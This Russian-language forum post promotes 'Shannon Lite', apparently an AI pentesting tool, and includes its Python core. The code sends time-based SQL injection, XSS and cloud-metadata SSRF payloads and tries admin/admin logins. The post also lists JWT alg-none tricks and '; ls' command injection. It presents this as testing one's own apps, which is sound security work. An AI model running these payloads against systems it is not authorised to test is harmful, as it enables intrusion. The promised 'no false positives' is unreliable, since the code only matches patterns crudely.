🛡 Shannon Lite: AI-пентестер, который ломает твой код до продакшена.

  • Автор темы Автор темы Mr.Dark
  • Дата начала Дата начала

Mr.Dark

Активный пользователь
Регистрация
01.06.2025
Сообщения
8 075
Реакции
6 987
Баллы
113
1000001584.jpg

🛡 Shannon Lite: AI-пентестер, который ломает твой код до продакшена

Shannon Lite — автономный white-box AI-пентестер для веб-приложений и API. В отличие от классических SAST/DAST-инструментов, он не ищет уязвимости по шаблонам, а читает исходный код, понимает логику приложения и сразу эксплуатирует найденные векторы атак в реальном окружении.

Ключевая идея: «Нет эксплойта — нет уязвимости». В отчёт попадают только проблемы, которые удалось реально воспроизвести с работающим Proof-of-Concept. Никаких ложных срабатываний.​




🔍 Как работает Shannon Lite (архитектура атаки)

  1. Слой 1: Статический анализ исходного кода (White-Box Taint Tracking)
    • Агент загружает репозиторий (-r /path/to/repo) и строит AST для JS/TS/Python/Go/Java.
    • Определяет источники (Sources): req.body.userInput, req.query.id, req.headers['x-forwarded-host'], ctx.params.
    • Определяет приёмники (Sinks): eval(), child_process.exec(), fs.readFile(), db.raw(), fetch(), res.send().
    • Строит граф потока данных и отслеживает, как пользовательский ввод достигает опасной функции.
    • Учитывает санитайзеры (sanitizeHtml(), DOMPurify), чтобы не тратить время на защищённые участки.
  2. Слой 2: Динамическая эксплуатация через браузер (Playwright)
    • Запускается headful-браузер с полной эмуляцией действий пользователя.
    • Автономный обход аутентификации: заполнение форм, обработка 2FA (поиск полей input name="code", интеграция с TOTP/IMAP).
    • Обход интерфейса: клики по ссылкам, заполнение и отправка форм, навигация по SPA с ожиданием загрузки.
    • Параллельно агент дёргает внутренние API напрямую через fetch или axios, используя куки и токены из сессии.
  3. Слой 3: Активная эксплуатация (Proof-Based Attack)
    • XSS: внедрение <script>alert('XSS')</script> и проверка появления диалогового окна.
    • SSRF: попытка заставить сервер обратиться к коллаборатору с уникальным идентификатором.
    • SQL Injection: внедрение ' OR SLEEP(5)-- - и замер времени ответа; также UNION-запросы.
    • Обход аутентификации: доступ к защищённым эндпоинтам без кук, манипуляции с JWT (алгоритм none, подмена kid).
    • Command Injection: внедрение ; ls или | dir и анализ ответа на наличие вывода команд.
  4. Слой 4: Генерация отчёта с PoC
    • В отчёт попадают только подтверждённые уязвимости с воспроизводимыми шагами.
    • Для каждой уязвимости: HTTP-запрос/ответ, скриншот, готовый эксплойт (curl или скрипт).
    • Отчёт доступен в форматах HTML, PDF и JSON (для интеграции в CI/CD).




🚀 Автономный запуск: от логина до отчёта

Одна команда — и Shannon Lite выполняет полный цикл тестирования без участия человека.​

  • Сканирует поверхность атаки (nmap, subfinder, whatweb) — результаты расширяют контекст.
  • Проходит аутентификацию (включая 2FA) и сохраняет сессию.
  • Исследует интерфейс, кликая по всем элементам и перехватывая XHR-запросы.
  • Параллельно анализирует исходный код и строит граф потоков данных.
  • Сопоставляет динамические эндпоинты с потоками из кода и проводит целенаправленные атаки.
  • Формирует отчёт только с подтверждёнными проблемами.




💻 Реальный код: ядро Shannon Lite на Python

Код:
#!/usr/bin/env python3
"""
Shannon Lite Core - Полноценный прототип AI-пентестера.
Требования: pip install playwright requests
            playwright install chromium
"""

import os, re, time, requests
from urllib.parse import urljoin, quote
from playwright.sync_api import sync_playwright

class ShannonLite:
    def __init__(self, target_url, repo_path):
        self.target_url = target_url
        self.repo_path = repo_path
        self.session = requests.Session()
        self.vulnerabilities = []

    def analyze_source(self):
        flows = []
        for root, _, files in os.walk(self.repo_path):
            for f in files:
                if not f.endswith(('.js', '.py', '.ts')): continue
                path = os.path.join(root, f)
                with open(path, 'r', encoding='utf-8', errors='ignore') as file:
                    content = file.read()
                sources = re.findall(r'(?:req\.query|req\.body|request\.args\.get|req\.params)\[?[\'"]([\w-]+)[\'"]?\]?', content)
                sinks = []
                if re.search(r'\.execute\(|\.raw\(|db\.query\(', content): sinks.append('sql')
                if re.search(r'\.send\(|\.html\(|dangerouslySetInnerHTML', content): sinks.append('xss')
                if re.search(r'fetch\(|axios\.|requests\.get\(', content): sinks.append('ssrf')
                for sink in sinks:
                    for src in set(sources):
                        flows.append({'file': path, 'param': src, 'type': sink})
        return flows

    def exploit_sqli(self, url, param):
        payload = "' OR SLEEP(5)-- -"
        full_url = f"{url}?{param}={quote(payload)}"
        start = time.time()
        try:
            self.session.get(full_url, timeout=10)
            if time.time() - start > 4.5:
                return True, payload
        except: pass
        return False, None

    def exploit_xss(self, url, param):
        with sync_playwright() as p:
            browser = p.chromium.launch(headless=True)
            page = browser.new_page()
            triggered = False
            def on_dialog(dialog):
                nonlocal triggered
                triggered = True
                dialog.dismiss()
            page.on('dialog', on_dialog)
            payload = "<img src=x onerror=alert('XSS_SHANNON')>"
            page.goto(f"{url}?{param}={quote(payload)}", timeout=5000)
            page.wait_for_timeout(1500)
            browser.close()
            return triggered, payload

    def exploit_ssrf(self, url, param):
        payload = "http://169.254.169.254/latest/meta-data/"
        full_url = f"{url}?{param}={quote(payload)}"
        try:
            resp = self.session.get(full_url, timeout=5)
            if 'ami-id' in resp.text or 'instance-id' in resp.text:
                return True, payload
        except: pass
        return False, None

    def auto_login(self, username="admin", password="admin"):
        with sync_playwright() as p:
            browser = p.chromium.launch(headless=False)
            page = browser.new_page()
            page.goto(urljoin(self.target_url, '/login'))
            page.fill('input[name="username"]', username)
            page.fill('input[name="password"]', password)
            page.click('button[type="submit"]')
            page.wait_for_load_state('networkidle')
            if page.is_visible('input[name="code"]'):
                page.fill('input[name="code"]', '123456')
                page.click('button:has-text("Verify")')
            page.wait_for_timeout(2000)
            cookies = page.context.cookies()
            browser.close()
        for c in cookies:
            self.session.cookies.set(c['name'], c['value'])

    def run(self):
        flows = self.analyze_source()
        self.auto_login()
        for flow in flows:
            url = urljoin(self.target_url, '/api/data')
            if flow['type'] == 'sql':
                ok, p = self.exploit_sqli(url, flow['param'])
                if ok: self.vulnerabilities.append({'type':'SQLi','url':url,'payload':p})
            elif flow['type'] == 'xss':
                ok, p = self.exploit_xss(url, flow['param'])
                if ok: self.vulnerabilities.append({'type':'XSS','url':url,'payload':p})
            elif flow['type'] == 'ssrf':
                ok, p = self.exploit_ssrf(url, flow['param'])
                if ok: self.vulnerabilities.append({'type':'SSRF','url':url,'payload':p})
        return self.vulnerabilities

if __name__ == '__main__':
    import sys, json
    if len(sys.argv) < 3:
        print("Запуск: python shannon.py <url> <repo_path>")
        sys.exit(1)
    shannon = ShannonLite(sys.argv[1], sys.argv[2])
    results = shannon.run()
    print(json.dumps(results, indent=2))




📦 Быстрый старт

Код:
# Установка зависимостей
pip install playwright requests
playwright install chromium

# Запуск сканирования
python shannon.py https://your-app.com /path/to/source/code




🔧 Интеграция с GitHub Actions

Код:
name: Shannon Lite Scan
on: [push]
jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install dependencies
        run: |
          pip install playwright requests
          playwright install chromium
      - name: Run Shannon Lite
        run: python shannon.py https://staging.example.com ./




Shannon Lite — найди и сломай свой код до того, как это сделает злоумышленник.
 
Назад
Верх